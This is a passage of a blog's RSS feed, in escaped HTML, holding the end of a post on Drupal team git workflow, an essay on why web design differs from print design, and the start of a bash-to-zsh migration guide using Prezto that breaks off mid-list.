&lt;p&gt;For MAMP users, you will need to add the following to your shell configuration file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export PATH=&amp;quot;/Applications/MAMP/Library/bin:/Applications/MAMP/bin/php/phpX.X.XX/bin:$PATH&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt; Modify the PHP version accordingly. This path is relevant for MAMP 3 users. If you&apos;re using a different version of MAMP, you will have to change the path depending on where PHP is installed.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Instructions for Windows Users&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install Composer by downloading the &lt;a href=&quot;https://getcomposer.org/Composer-Setup.exe&quot;&gt;installer&lt;/a&gt; and running it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Restart your command prompt or git bash and verify the installation by running:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;composer -v
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install the latest version of Drush by running:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;composer global require drush/drush:dev-master
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I highly suggesting referring to &lt;a href=&quot;http://drupalistasgroup.com/installing-drush-7-windows-xampp&quot;&gt;Installing Drush 7 on Windows 7 and 8 + XAMPP&lt;/a&gt; for detailed instructions and troubleshooting.&lt;/p&gt;
&lt;h2&gt;General guidelines&lt;/h2&gt;
&lt;p&gt;The project must be managed using Git. This allows everyone to have visibility on the changes to the code base, and also helps with debugging and disaster recovery, when necessary. For this to work, all members of the team have to agree on the way of working.&lt;/p&gt;
&lt;h3&gt;A modified git workflow&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;There will be &lt;strong&gt;3 environments&lt;/strong&gt;, local development, staging server and production server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Production server&lt;/strong&gt; will be on a &lt;code&gt;master-deployment&lt;/code&gt; branch, where all files have been optimised and served to the public. We never make code changes directly on the production server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Staging server&lt;/strong&gt; will be on a &lt;code&gt;master&lt;/code&gt; branch, where completed features are merged into for all team members to pull. Files are still in working condition, to facilitate development work.&lt;/li&gt;
&lt;li&gt;Each team member will have their own &lt;strong&gt;working branch&lt;/strong&gt;, named &lt;code&gt;workbench-YOUR_NAME&lt;/code&gt;. Once a feature is complete, each team member will submit a pull request to the master branch.&lt;/li&gt;
&lt;li&gt;Go through &lt;strong&gt;git diff before committing&lt;/strong&gt; to ensure all the changes made are the ones you want. This also prevents us from inadvertently committing unnecessary files, which lead to my next point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not commit unnecessary files&lt;/strong&gt;. This will cause the repository to bloat and even if you delete the files from the repository, the files are still there in the git history. Rewriting the git history is a lot more work than just being careful. Trust me &lt;a href=&quot;/blog/the-epic-git-bomb/&quot;&gt;I&apos;ve been there&lt;/a&gt;. Github has an &lt;a href=&quot;https://github.com/github/gitignore&quot;&gt;excellent collection&lt;/a&gt; of .gitignore files, including one for &lt;a href=&quot;https://github.com/github/gitignore/blob/master/Drupal.gitignore&quot;&gt;Drupal projects&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Each commit should address a single problem&lt;/strong&gt;. This makes it safe and easy to revert commits without fear of breaking anything. When updating the site, the core update should be done first, and have its own commit. Each module update should also be in individual commits.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Write clear, descriptive commit messages&lt;/strong&gt;. Do not write commit messages like &amp;quot;Bug fix&amp;quot; and leave it like that. This makes it easier for all involved to have a clear idea of which commits did what. And speeds up the debugging process, when necessary.&lt;/li&gt;
&lt;li&gt;Related to the above point, we &lt;strong&gt;append an infinitive (add, remove, update) to the commit message&lt;/strong&gt;. For Drupal updates, our commit messages follow the format: &lt;em&gt;update MODULE_SHORT_NAME to version = &amp;quot;7.x-x.x&amp;quot;&lt;/em&gt;, where the version portion is directly copied from the module&apos;s .info file.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;The Drupal way of web development&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Never hack core&lt;/strong&gt;. Drupal has a comprehensive hook system that allows us to keep our custom code separate from core and module files, which makes upgrading Drupal much more maintainable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;All Drupal development work takes place in the &lt;code&gt;sites&lt;/code&gt; folder. To make it easier for everyone on the team to find stuff, the folder is organised as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sites/
|-- all/
|   |-- libraries/
|   |
|   |-- modules/
|   |   |-- contrib/
|   |   |-- custom/
|   |   `-- features/
|   |
|   |-- patches/
|   |   `-- MODULE_NAME/
|   |      `--PATCH_FILE_FOR_MODULE.patch
|   |
|   `-- themes/
|
`-- default/
    |-- files/
    `-- settings.php
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;All contributed modules go into the &lt;code&gt;contrib&lt;/code&gt; folder, any custom modules go into the &lt;code&gt;custom&lt;/code&gt; folder, and modules exported from Features go into the &lt;code&gt;features&lt;/code&gt; folder.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;patches&lt;/code&gt; folder is for fixes that have yet to be committed to the module. These are usually from the module&apos;s issue threads. Having a separate folder for patches makes it easier to keep track of which modules have been patched. Once the patch is committed to the module, the corresponding patch file can be removed from the project.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;There&apos;s a module for that&lt;/strong&gt;. Odds are, if you need a particular feature, some one has already built a module for it. Drupal has a pretty stringent criteria for getting modules into the contrib directory. Most modules also have dedicated module maintainers, who will update their modules with new features and bug fixes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Do not put business logic in the template layer&lt;/strong&gt;. Drupal can be considered a PAC (Presentation-Abstraction-Controller) framework, and the presentation layer only deals with parsing the raw data from the Controller into HTML. There should not be intelligence built into it. Keeping to this practice makes it much easier to on-board new developers to the project.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Make good use of Drupal&apos;s structured data capabilities&lt;/strong&gt;. Drupal makes creating content types and fields very simple. Take the time to plan out the content structure and create the appropriate content types and fields. This will make it easy to implement manipulate the data in views for sorting and filtering, search functionality and so on.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Exporting and deploying features&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;This should change significantly once Drupal 8 becomes the standard&lt;/em&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We use the &lt;a href=&quot;https://www.drupal.org/project/features&quot;&gt;Features&lt;/a&gt; module extensively for the export and deployment of site functionality. There are a number of related modules that we regularly use together with Features to export certain functionality.&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/features_extra&quot;&gt;Features Extra&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/strongarm&quot;&gt;Strongarm&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/uuid&quot;&gt;UUID&lt;/a&gt; and &lt;a href=&quot;https://www.drupal.org/project/uuid_features&quot;&gt;UUID Features Integration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Field bases and taxonomy are each exported as a separate base feature, e.g. &lt;em&gt;PROJECT_NAME_fieldbases&lt;/em&gt; and &lt;em&gt;PROJECT_NAME_taxonomy&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Features are organised by functionality, to keep things as modular as possible. For example, if there is an events section, then all functionality related to that section, like the event content type, image styles, views and so on, will be exported to the &lt;em&gt;PROJECT_NAME_events&lt;/em&gt; feature.&lt;/li&gt;
&lt;li&gt;It is not possible to export everything cleanly and modularly, hence it is very important to have clearly documented deployment steps, especially for manual steps which have to be recreated exactly on the production server.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Working in a team allows us to leverage on each other&apos;s strengths and capabilities to create a better end-product than if we were working alone. However, because everybody works differently, it is crucial that there are clear guidelines and processes which everyone agrees upon. It may take some work to come up with documentation and processes, but the benefits reaped in the long run is well worth the effort.&lt;/p&gt;
&lt;h3&gt;Further reading&lt;/h3&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20180822213820/http://julianlmedina.com/getting-drush-working-with-mamp-3-on-mac/&quot;&gt;Getting Drush working with MAMP 3 on Mac&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.annertech.com/blog/implement-web-design-drupal-way&quot;&gt;Implementing a Web Design the Drupal Way (not just any old way)&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://binary-studio.com/2014/05/23/top-10-rules-for-better-git-workflow/&quot;&gt;Top 10 Rules For Better Git Workflow&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;http://www.garfieldtech.com/blog/mvc-vs-pac&quot;&gt;MVC vs. PAC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;http://seriousplaypro.com/2015/03/12/lego-case-study-team-culture/&quot;&gt;LEGO® SERIOUS PLAY®&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>A better web design process</title><link>https://chenhuijing.com/blog/a-better-web-design-process/</link><guid isPermaLink="true">https://chenhuijing.com/blog/a-better-web-design-process/</guid><description>The web is not print. I&apos;m definitely not the first person to write about this. Just google that phrase and you&apos;ll find pages of articles that revolve around…</description><pubDate>Sun, 07 Jun 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The web is not print.&lt;/p&gt;
&lt;p&gt;I&apos;m definitely not the first person to write about this. Just google that phrase and you&apos;ll find pages of articles that revolve around this topic dated more than a decade ago. But even today, more than 15 years after the web went mainstream, we still see a large number of web design projects following a modified version of the print design process.&lt;/p&gt;
&lt;h2&gt;Print and web are different mediums&lt;/h2&gt;
&lt;p&gt;Considering that the earliest forms of printing came about more than 2000 years ago, it&apos;s safe to say that print design is a very established field. Print is a static, visual medium. Aesthetically-designed visuals are required to capture viewers&apos; attention in order for a message to be delivered.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The web is an informational medium. It is not a visual medium.&lt;br&gt;
 — Colin Lieberman&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The web is an interactive medium, dynamic and responsive to user input. And it is relatively young. ARPAnet (which was the basis for the internet we know today) was developed in 1969, but the internet really went mainstream around 1999. So we&apos;re really talking about a medium that&apos;s less than 20 years old.&lt;/p&gt;
&lt;p&gt;People use the web primarily to find information and perform specific tasks. The best web designs allow users to find what they need and do what they want with as little friction as possible. Well-thought visual elements can enhance this experience.&lt;/p&gt;
&lt;p&gt;In print design, visual elements are the main course, but for web design, visual elements are a garnish. The design must work even without visual elements present. Web design cannot just involve the creation of visually appealing digital assets. Digital print design is not web design. &lt;strong&gt;We cannot treat the web as a static digital canvas&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Each design field is distinct because of the medium its designers work in. Interior designers work with spaces, fashion designers work with fabrics and so on. Web design is its own distinct field and should have its own unique set of processes and deliverables.&lt;/p&gt;
&lt;h2&gt;You can&apos;t control the web&lt;/h2&gt;
&lt;p&gt;Print designers have full control over the appearance of their designs and how the final output is rendered. The phrase pixel-perfect embodies this obsession with control. But for print design, this is how the best designs are produced. An attention to the most minute of details, ensuring the perfect placement of every character down to the last pixel.&lt;/p&gt;
&lt;p&gt;As a print designer, you can be assured that once your design is finalised and sent for print, the world will view it exactly as you envisioned. The only way you can modify the design is by drawing over it, and we call that vandalism.&lt;/p&gt;
&lt;p&gt;The web is completely different. Whatever you produce for the web is viewed on screen rendered by web browsers. A web browser is a piece of software that gives users control over how they want to view its content. That&apos;s right, &lt;strong&gt;users have control&lt;/strong&gt;, not the designer.&lt;/p&gt;
&lt;p&gt;And we&apos;re not dealing with one browser on one screen, we&apos;re dealing with at least 5 major browsers across countless different screens and devices. Control, in this case, is a pipe dream.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Designing for the web is a process not an event.&lt;br&gt;
 —Thomas Umstattd Jr.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Designing for print is an event. It can be completed. Once the design is sent to the printer, the designer&apos;s job is done. You can never finish a web design. The web is technology, and it is the nature of technology to keep evolving and changing.&lt;/p&gt;
&lt;p&gt;When we design for the web, we are designing for the unknown. Smart people have already considered this back in 2003, and came up with the concept of &lt;a href=&quot;http://alistapart.com/article/understandingprogressiveenhancement&quot;&gt;progressive enhancement&lt;/a&gt;. It is a simple rule, &lt;strong&gt;content first&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;A print design that looked great 50 years ago, we now call vintage. A web design that looked great 10 years ago, now just looks out of place. Visual elements on the web are fleeting, because how a website looks will change depending on the browser rendering it.&lt;/p&gt;
&lt;p&gt;The real value of the web is the wealth of information we can access. An informational medium. Putting content first means regardless of the technology being used, content has to be accessible.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It is the nature of the web to be flexible, and it should be our role as designers and developers to embrace this flexibility, and produce pages which, by being flexible, are accessible to all.&lt;br&gt;
 —John Allsopp&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Understanding the web and user behaviour&lt;/h2&gt;
&lt;p&gt;How many times have you heard designers complain that their beautiful designs were not coded to look exactly like the Photoshop files they so painstakingly created? And how many times have you heard developers rant about the designs that are impossible to code &lt;a href=&quot;http://ponyfoo.com/articles/stop-breaking-the-web&quot;&gt;without a myriad of hacks&lt;/a&gt;? And how many times have you, as an user, complain that a website is hard to use and doesn&apos;t give you the information you&apos;re looking for?&lt;/p&gt;
&lt;p&gt;The waterfall approach to web design simply does not work. Developers cannot just be tacked onto the end of the print design process like printers. An ideal web design process involves close collaboration between the users, designers and developers.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Web design is the creation of digital environments that facilitate and encourage human activity reflect or adapt to individual voices and content and change gracefully over time while always retaining their identity.&lt;br&gt;
 —Jeffrey Zeldman&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Web designers should have a clear understanding of the nature of the web, and understand both its strengths and limitations. Web developers need to understand visual design principles, typography and colour theory in the context of the web.&lt;/p&gt;
&lt;p&gt;And both sides must understand how users interact with the web. There is no way around it, to create the best work for the web, we need to fully understand the web and design principles as they relate to the web. We don&apos;t design websites. &lt;strong&gt;We design content&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Most of the time we get clients saying, &amp;quot;Build me a website. Make it look pretty.&amp;quot; In their minds, they have already come up with a solution and just need execution. The problem is, most clients do not understand the web. Translating all your print designs into digital files and uploading it to the web is NOT going digital.&lt;/p&gt;
&lt;p&gt;It is necessary to tease out the real problem behind why they feel a website is necessary. On some occasions, you may find that a website is not the best solution to their problem at all. The design process needs to start with the question why.&lt;/p&gt;
&lt;p&gt;Why do we even want to build a website? What is the purpose of this website and what is it trying to achieve? &lt;strong&gt;Every website must have a clear objective&lt;/strong&gt;. And every design decision, from content and information architecture, to visuals and functionality, must contribute to the achievement of said objective.&lt;/p&gt;
&lt;h2&gt;User research and style-guide driven development&lt;/h2&gt;
&lt;p&gt;An effective web design successfully marries the motives of the stakeholders with the needs of the users. User research should be a default for all web projects. Web professionals and clients often butt heads over design decisions and the best way to resolve this problem is with objective data from user research.&lt;/p&gt;
&lt;p&gt;We all need to recognise that none of us are the user and creating something that does not take into account the perspective of the user almost always results in failure.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Business priorities often lack the reality of user needs and decisions are made based on what we “think” is awesome rather than what is “truly” awesome.&lt;br&gt;
 —Hoa Loranger, &lt;a href=&quot;http://www.nngroup.com/articles/ux-without-user-research/&quot;&gt;UX Without User Research Is Not UX&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It is no longer feasible for designers to work in isolation, creating stunning visuals in static photoshop files that require megabytes of code to implement. It becomes even more tragic when the functionality doesn&apos;t fit with the visual design. There is a much better way to do things.&lt;/p&gt;
&lt;p&gt;During the earliest phases of the project, stakeholders, target users, designers and developers should get in the same room to throw ideas around. This ensures all parties are &lt;strong&gt;on the same page&lt;/strong&gt;. Paper prototyping is one of the best ways to test out ideas.&lt;/p&gt;
&lt;p&gt;It&apos;s cheap and fast, and people tend to feel more at ease pointing out issues on paper prototypes than on something that took weeks to craft. This exercise can help guide the process of prioritising content, planning the layout and figuring out key functionalities and business logic.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The roles of designer and developer are increasingly blurred, yet all too often we work in isolation.&lt;br&gt;
 —Anna Debenham&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Developers can quickly translate the paper prototypes to low-fidelity wireframes in the browser with HTML and CSS. This helps designers visualise how elements are displayed in the browser, and the different components that need to be taken care of.&lt;/p&gt;
&lt;p&gt;Things like hover states, how content is positioned when the screen is resized, transition effects and so on. Designers and developers can agree on which elements can be coded with CSS and which elements require images.&lt;/p&gt;
&lt;p&gt;From here, a style guide can be developed. The concept of style guides is not a new thing. Consistency has always been an aspect of good design, and style guides help achieve that.&lt;/p&gt;
&lt;p&gt;The difference here is instead of having a static style guide PDF document, or a photoshop file with dozens of red annotations and hex codes, we code the style guide in HTML and CSS. Style-guide driven development can and should become our industry standard.&lt;/p&gt;
&lt;h2&gt;We won&apos;t know what the future holds&lt;/h2&gt;
&lt;p&gt;The internet will continue to evolve and change. In a few short years, we&apos;ve gone from designing for a single computer monitor display to a multitude of mobile phones, tablets, and now even watches.&lt;/p&gt;
&lt;p&gt;Our processes must facilitate our ability to be agile and respond to rapid changes without breaking stride. It won&apos;t be easy, but all of us, as web professionals, have the responsibility of making the web experience better.&lt;/p&gt;
&lt;h3&gt;Further reading&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;On understanding the web&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.nngroup.com/articles/differences-between-print-design-and-web-design/&quot;&gt;Understanding Web Design&lt;/a&gt; by &lt;a href=&quot;http://www.zeldman.com/&quot;&gt;Jeffrey Zeldman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://alistapart.com/article/dao/&quot;&gt;A Dao of Web Design&lt;/a&gt; by &lt;a href=&quot;http://johnfallsopp.com/&quot;&gt;John Allsopp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;On the differences between print and web&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20170317031214/http://www.cactusflower.org/the-web-is-not-print&quot;&gt;The Web is not Print&lt;/a&gt; by &lt;a href=&quot;https://web.archive.org/web/20191022063154/http://cactusflower.org/colin/&quot;&gt;Colin Lieberman&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.nngroup.com/articles/differences-between-print-design-and-web-design/&quot;&gt;Differences Between Print Design and Web Design&lt;/a&gt; by &lt;a href=&quot;http://www.nngroup.com/people/jakob-nielsen/&quot;&gt;Jakob Nielsen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.authormedia.com/why-print-designers-can-be-poor-web-designers/&quot;&gt;Why print designers fail at web design&lt;/a&gt; by &lt;a href=&quot;http://www.thomasumstattd.com/&quot;&gt;Thomas Umstattd Jr.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;On how we should stop breaking the web&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://ponyfoo.com/articles/stop-breaking-the-web&quot;&gt;Stop Breaking the Web&lt;/a&gt; by &lt;a href=&quot;http://www.bevacqua.io/about/&quot;&gt;Nicolas Bevacqua&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://medium.com/@gpeuc/your-website-should-stop-doing-this-right-now-pt-1-a0c3eb525200/&quot;&gt;Your website should stop doing this right now (pt. 1)&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/gpeuc/&quot;&gt;Goran Daemon Peuc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/@gpeuc/your-website-should-stop-doing-this-right-now-pt-2-3946282a4c1e/&quot;&gt;Your website should stop doing this right now (pt. 2)&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/gpeuc/&quot;&gt;Goran Daemon Peuc&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;On front-end style guides&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://24ways.org/2011/front-end-style-guides/&quot;&gt;Front-end Style Guides&lt;/a&gt; by &lt;a href=&quot;http://maban.co.uk/&quot;&gt;Anna Debenham&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://alistapart.com/article/writingainterfacestyleguide&quot;&gt;Writing an Interface Style Guide&lt;/a&gt; by &lt;a href=&quot;http://jina.me/&quot;&gt;Jina Boulton&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://styleguides.io/&quot;&gt;Website Style Guide Resources&lt;/a&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Switching from bash to zsh</title><link>https://chenhuijing.com/blog/bash-to-zsh/</link><guid isPermaLink="true">https://chenhuijing.com/blog/bash-to-zsh/</guid><description>For someone who never learned &quot;computers&quot; in school, I&apos;m actually pretty fond of the command line interface. I was one of those kids who was lucky enough to…</description><pubDate>Sun, 31 May 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;For someone who never learned &amp;quot;computers&amp;quot; in school, I&apos;m actually pretty fond of the command line interface. I was one of those kids who was lucky enough to have a computer at home since before I was born. The first operating system I could remember using was MS-DOS. So it was very important to learn the command line so I could load and play games.&lt;/p&gt;
&lt;p&gt;And that&apos;s also why, more than twenty years later, I must have &lt;a href=&quot;http://www.dosbox.com/&quot;&gt;DOSBox&lt;/a&gt; installed in every machine I own. It&apos;s an emulator that let&apos;s you play all the DOS games that you grew up with.&lt;/p&gt;
&lt;p&gt;Back to the topic at hand. As a web developer, using the terminal is part and parcel of my day. But other than installing iTerm2 and customising its colour scheme, I never really did anything more. I recently chanced upon this &lt;a href=&quot;http://mikebuss.com/2014/02/02/a-beautiful-productive-terminal-experience/&quot;&gt;article&lt;/a&gt; by &lt;a href=&quot;http://mikebuss.com/&quot;&gt;Mike Buss&lt;/a&gt; on optimising the terminal experience and decided to try it out as well.&lt;/p&gt;
&lt;h2&gt;What is shell?&lt;/h2&gt;
&lt;p&gt;Shell is simply a command line interface (CLI) that allows users to interact with the computer&apos;s operating system. Most people are used to graphical user interfaces (GUI) like Windows or OSX.&lt;/p&gt;
&lt;p&gt;Personally, I think people shy away from the command line because of the &lt;a href=&quot;http://tvtropes.org/pmwiki/pmwiki.php/Main/HollywoodHacking&quot;&gt;Hollywood Hacking&lt;/a&gt; trope that associate typing commands with hard-core hacking. Well, pointy-clicky with a mouse is never as fast tappity-tap on a keyboard. Just saying.&lt;/p&gt;
&lt;h2&gt;Bash vs Zsh&lt;/h2&gt;
&lt;p&gt;Bash is the default shell on Linux and Mac OS X. Zsh is an interactive shell which incorporates a lot of useful features from other shells. In addition, there&apos;s a bunch of things Zsh can do to make your terminal experience better. Enhanced auto-completions and globbing, spell correction, path replacement, the list goes on.&lt;/p&gt;
&lt;h2&gt;My migration experience&lt;/h2&gt;
&lt;p&gt;I was not a terminal power-user to begin with, so it was pretty easy for me to just move over from Bash to Zsh. I would think that people who have customised their Bash configurations to a T may probably take longer to move everything over properly.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;List of applications installed&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;iTerm2&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Homebrew &lt;em&gt;(I use homebrew to manage all my Mac packages so it was already installed)&lt;/em&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Prezto &lt;em&gt;(It&apos;s a configuration framework for Zsh)&lt;/em&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Python &lt;em&gt;(Needed for Powerline so you can get cool glyphs in your terminal)&lt;/em&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Vim &lt;em&gt;(Needed for Powerline so you can get cool glyphs in your terminal)&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;Powerline&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install &lt;a href=&quot;https://www.iterm2.com/&quot;&gt;iTerm2&lt;/a&gt;. It&apos;s your terminal on steroids. Just download the installer from the site and run it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install &lt;a href=&quot;https://github.com/sorin-ionescu/prezto&quot;&gt;Prezto&lt;/a&gt;. It&apos;s a configuration framework for Zsh. The following is from the official documentation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Launch Zsh:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt; zsh
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Clone the repository:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone --recursive https://github.com/sorin-ionescu/prezto.git &amp;quot;${ZDOTDIR:-$HOME}/.zprezto&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a new Zsh configuration by copying the Zsh configuration files provided:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;setopt EXTENDED_GLOB
  for rcfile in &amp;quot;${ZDOTDIR:-$HOME}&amp;quot;/.zprezto/runcoms/^README.md(.N); do
  ln -s &amp;quot;$rcfile&amp;quot; &amp;quot;${ZDOTDIR:-$HOME}/.${rcfile:t}&amp;quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If, like me, you never used Zsh before, you should not have any .z* files in your home directory and this step should proceed without a hitch. But if you do have any .z* files, you will see a message telling you that the files exist.&lt;/p&gt;
&lt;p&gt;If you&apos;re already using Zsh, there will be prompts asking if you want to replace those files. I suggest backing up those files, then replacing them with the ones Prezto is trying to install.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set Zsh as your default shell:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chsh -s /bin/zsh
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Restart your terminal and you should see the default Prezto theme, chevrons and all&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Configure your .zpreztorc file. You can enable additional modules to make Zsh even more awesome. This is my module configuration.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt; # Set the Prezto modules to load (browse modules).
 # The order matters.
 zstyle &apos;:prezto:load&apos; pmodule \
   &apos;environment&apos; \
   &apos;terminal&apos; \
   &apos;editor&apos; \
   &apos;history&apos; \
   &apos;directory&apos; \
   &apos;spectrum&apos; \
   &apos;utility&apos; \
   &apos;ssh&apos; \
   &apos;completion&apos; \
   &apos;homebrew&apos; \
   &apos;osx&apos; \
   &apos;git&apos; \
   &apos;syntax-highlighting&apos; \
   &apos;history-substring-search&apos; \
   &apos;prompt&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The order is very important. According to &lt;a href=&quot;http://joshsymonds.com/blog/2014/06/12/shell-awesomeness-with-prezto/&quot;&gt;Josh Symonds&lt;/a&gt;, &lt;code&gt;prompt&lt;/code&gt; must come last, &lt;code&gt;history-substring-search&lt;/code&gt; must come before it, and &lt;code&gt;syntax-highlighting&lt;/code&gt; must come before that. 4. Set up your theme. Prezto comes with a number of really nice themes (I&apos;m using Paradox right now) but you can always create your own. All the theme files are in the &lt;code&gt;~/.zprezto/modules/prompt/functions&lt;/code&gt; folder in the format &lt;code&gt;prompt_THEMENAME_setup&lt;/code&gt;. To switch themes, just set it in the .zpreztorc file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;zstyle &apos;:prezto:module:prompt&apos; theme &apos;THEMENAME&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
